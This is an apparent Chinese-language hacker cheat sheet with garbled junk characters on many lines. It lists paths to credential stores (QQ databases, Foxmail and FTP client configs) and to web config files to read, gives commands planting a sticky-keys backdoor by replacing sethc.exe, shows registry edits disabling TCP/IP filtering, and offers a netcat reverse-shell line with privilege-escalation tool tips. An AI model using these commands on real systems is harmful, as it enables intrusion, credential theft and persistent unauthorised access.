. z* V# f/ p( C: L8 t/ vc:\Apache2\bin\Apache.exe
) x5 @2 X$ r/ z  I) V( @c:\Apache2\php\license.txt
1 O6 k6 X: e1 o4 F; u) \3 G) KC:\Program Files\Apache Group\Apache2\bin\Apache.exe
% K+ F; D% f2 l9 J- X/ x- e- V) S2 o/usr/local/tomcat5527/bin/version.sh
' i: C% k( y" T/ W! F/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
0 v" T2 k  C& X( A. I' M8 ^c:\Program Files\QQ2007\qq.exe
0 u6 X) \" x. f$ A) o7 Z3 s7 qc:\Program Files\Tencent\qq\User.db
7 ~! [( h) L* h, H, gc:\Program Files\Tencent\qq\qq.exe
2 j8 D. V  O& J0 s) Xc:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
( \, x' ]: C3 @) Y% U7 }c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
7 D" Z  W" K6 R/ E2 o3 A' @C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
' V" F' ]7 \9 Fc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
$ N2 u* l) L1 a$ fc:\Program Files\Tencent\RTXServer\AppConfig.xml
- j6 F* g: b# ?- e, Z6 gC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
1 r( @: @' E3 R5 ^. HC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
& V# ^2 d7 c  W, Y) }C:\Program Files\LeapFTP\LeapFTP.exe
' ~0 m' U+ j! V  D. wc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
! O* b0 h3 l7 K- u3 x+ sc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
1 R# u+ ^* H& {! \3 o4 H. _0 Hc:\Program Files\Oracle\bin\regsvr32.exe
6 j% p& Y9 F; F  \% F$ }3 {: U, ?  bc:\Program Files\腾讯游戏\QQGAME\readme.txt
) `5 [6 _' z3 Z( Cc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
5 {' i; R3 |0 C5 \c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
3 o# B- k6 E, b) N6 G# M
& P7 f* }! P. a9 r3.网站相对路径:

. f  r! m# e) Z& `) ^' |- r/config.php
../../config.php
9 T' |* [( h2 C$ j../config.php
7 W, c; t- x0 s4 `../../../config.php
& F! j3 y$ U) {& n4 S+ c5 N. b/config.inc.php
8 x; f2 ]/ Y9 u) l% _, b3 N- e$ p3 l./config.inc.php
) d1 }( ^" Y/ N7 C' j../../config.inc.php
../config.inc.php
../../../config.inc.php
0 [2 k! m  R9 t4 [- ~( U2 o3 \7 p! `/conn.php
7 Y2 S0 T2 Z: k* k( l5 i: h./conn.php
../../conn.php
. S5 a+ ~9 m0 i../conn.php
8 T! _0 A0 V3 ]0 q( |../../../conn.php
/conn.asp
./conn.asp
+ A% ^& [0 j/ v7 q$ @) B- o8 Z../../conn.asp
../conn.asp
8 X, Q4 i3 K9 e& I9 o& _' R' M& g% O../../../conn.asp
/config.inc.php
5 b+ k9 r" V. n% N$ v$ P! v1 q* T./config.inc.php
- S- i5 J. @4 _../../config.inc.php
../config.inc.php
../../../config.inc.php
+ V6 D. o: W1 _3 C6 V6 A0 c- i5 G. @/config/config.php
../../config/config.php
3 T! `8 U# z5 g6 e3 _9 u$ l../config/config.php
../../../config/config.php
1 V1 x5 }& S8 y6 I+ C! l9 a& h/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
: |- s- X! B0 n1 Y3 @/ D1 H../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
& j7 |. b' P8 s3 y5 {./config/conn.php
: W: ^5 l8 |, I" _2 J/ c# h+ a../../config/conn.php
../config/conn.php
( T9 V6 m: B* x" j../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
) [/ @+ }  |) }/ W: Y../config/conn.asp
) }. m0 D; k  T% U& P../../../config/conn.asp
; ]" W, u% ]* G& s/ L5 j  a/config/config.inc.php
% M8 n  y! D" ^  |1 k./config/config.inc.php
8 H4 Y+ z& y% X( E3 Z../../config/config.inc.php
* s, q* J5 ]! P2 o../config/config.inc.php
../../../config/config.inc.php
/data/config.php
3 y3 Q, A5 J2 @' ^3 L3 W1 m& }../../data/config.php
../data/config.php
../../../data/config.php
/data/config.inc.php
3 P/ |( W: K5 k./data/config.inc.php
( m1 Q' M0 J3 m% G: l5 h. I0 _../../data/config.inc.php
  H4 U5 I: |( {" ~2 {../data/config.inc.php
  A  v: v" A2 H4 s, e% x7 u, [. _../../../data/config.inc.php
" p5 S2 j4 N2 q/data/conn.php
, m/ {; O& Z* o./data/conn.php
../../data/conn.php
../data/conn.php
7 f2 B) x) ^' M../../../data/conn.php
/data/conn.asp
! b0 E) Z+ O2 n% ]( W./data/conn.asp
../../data/conn.asp
../data/conn.asp
0 @' K+ }% z: i7 \8 Z# X../../../data/conn.asp
3 N# D: y! i# _8 ]: z/data/config.inc.php
, u! m6 T2 V( e0 o& P; Z./data/config.inc.php
! q% }9 B" ?8 i+ i& j9 i8 r, c: }../../data/config.inc.php
4 h4 Q9 b8 n  _0 b! V4 n1 i../data/config.inc.php
1 I: z  A- \4 f../../../data/config.inc.php
2 e" V6 @% g' I( X8 c+ b  E3 J5 D/include/config.php
../../include/config.php
9 U5 _" {/ V2 C# k../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
" A+ ~* m: P! [6 S4 y../include/config.inc.php
../../../include/config.inc.php
1 q) b' z: U& p' X+ ^4 B) ~8 d- y6 b6 ^/include/conn.php
./include/conn.php
  \# O1 M( u, J3 y' _1 s  J0 H../../include/conn.php
$ o4 }4 x/ C( U2 d../include/conn.php
- @  W( s; e& _- x2 @: F6 \../../../include/conn.php
8 F3 y% c1 `) b" K9 K: m4 ?' o  B/include/conn.asp
./include/conn.asp
../../include/conn.asp
9 D& u5 D. ]4 [# B2 ?' H' E  D7 u  |+ i../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
9 j( w6 `5 |" Q1 d; y# @./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
0 Y' {' ?+ m5 b4 s/inc/config.php
../../inc/config.php
../inc/config.php
../../../inc/config.php
+ N, G+ @# W: B/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
# ?0 B8 g; ?& Q8 r5 K../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
6 _$ F0 S  ?7 C5 ~../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
1 d9 G$ ^4 a8 y$ \0 Q/ b$ N  `! Y/inc/config.inc.php
) O5 J' Q, Y/ i+ [; b! `./inc/config.inc.php
9 I& g0 q, x- y0 t; O1 f7 I../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
" r% Z8 o9 Y# H- m, G* I! }1 B: M9 s/ R./index.php
5 F) z0 x1 R) o# L../../index.php
) o( a7 H4 T9 }# j: r& O- j* B1 r: }../index.php
../../../index.php
: e) ~( m7 r  }7 y/index.asp
1 u0 S, \$ c7 }* i) P4 h/ s! @./index.asp
../../index.asp
4 U, D; s+ _5 z../index.asp
9 B: }& b# @' P# L" a; _../../../index.asp
$ e6 O2 j8 o. U替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
$ o" ^3 y+ H6 Y: r) \
  v3 z8 p/ A( |7 S9 v' M　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
& I' W1 S/ S1 H1 C; Z5 W
2 i) [- b/ m9 V+ `5 R" A　　del c:\windows\system32\sethc.exe
' m0 v& H( I/ C' N) S, v' J; M
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
0 O9 u) a8 x  r( h6 G. e
: r" r2 c( g' `5 I6 z/ X! I2 I　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

2 J& ?' Q6 u4 s% q8 p3 `" n1 x　　attrib c:\windows\system32\sethc.exe +h +r +s
2 \7 ^* e7 b% Q# Y! h- }8 C+ Z! K
: \. L. U  Z4 i- @3 s　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
) \4 a/ X- M8 t( RHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
  C  c, M2 R( d+ w6 |' K8 ?
! b$ @  e4 e2 {/ R( a分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ x9 H* t2 q0 ?* _& ^+ z3 [3 Lregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
! w9 D+ u2 j* t: Q6 ?  y  Lregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
: S- X! z, J  d( i+ v: a. c7 `
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

; |+ V+ T, g- `/ g- h4 p: F再将以上三个文件分别用
8 s( M* A& k2 |" {regedit -s D:\a.reg
9 T9 _1 D" H" e( Rregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
cmd路径:
% I0 l0 _- o/ E5 t  z5 u  B& Qc:\windows\temp\cmd.exe
nc也在同目录下
4 ~7 R' t9 a6 I8 e例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
$ j" c# {2 z  W8 t3 q! t! z通常都不会成功。
* ?# c0 [5 e! M& |' Y6 r  `, P
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
2 b4 G" \& f, t$ k5 @命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
) p5 |9 r0 ~! h0 J5 d这个不是重点
6 a9 x* m2 `; n) p我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功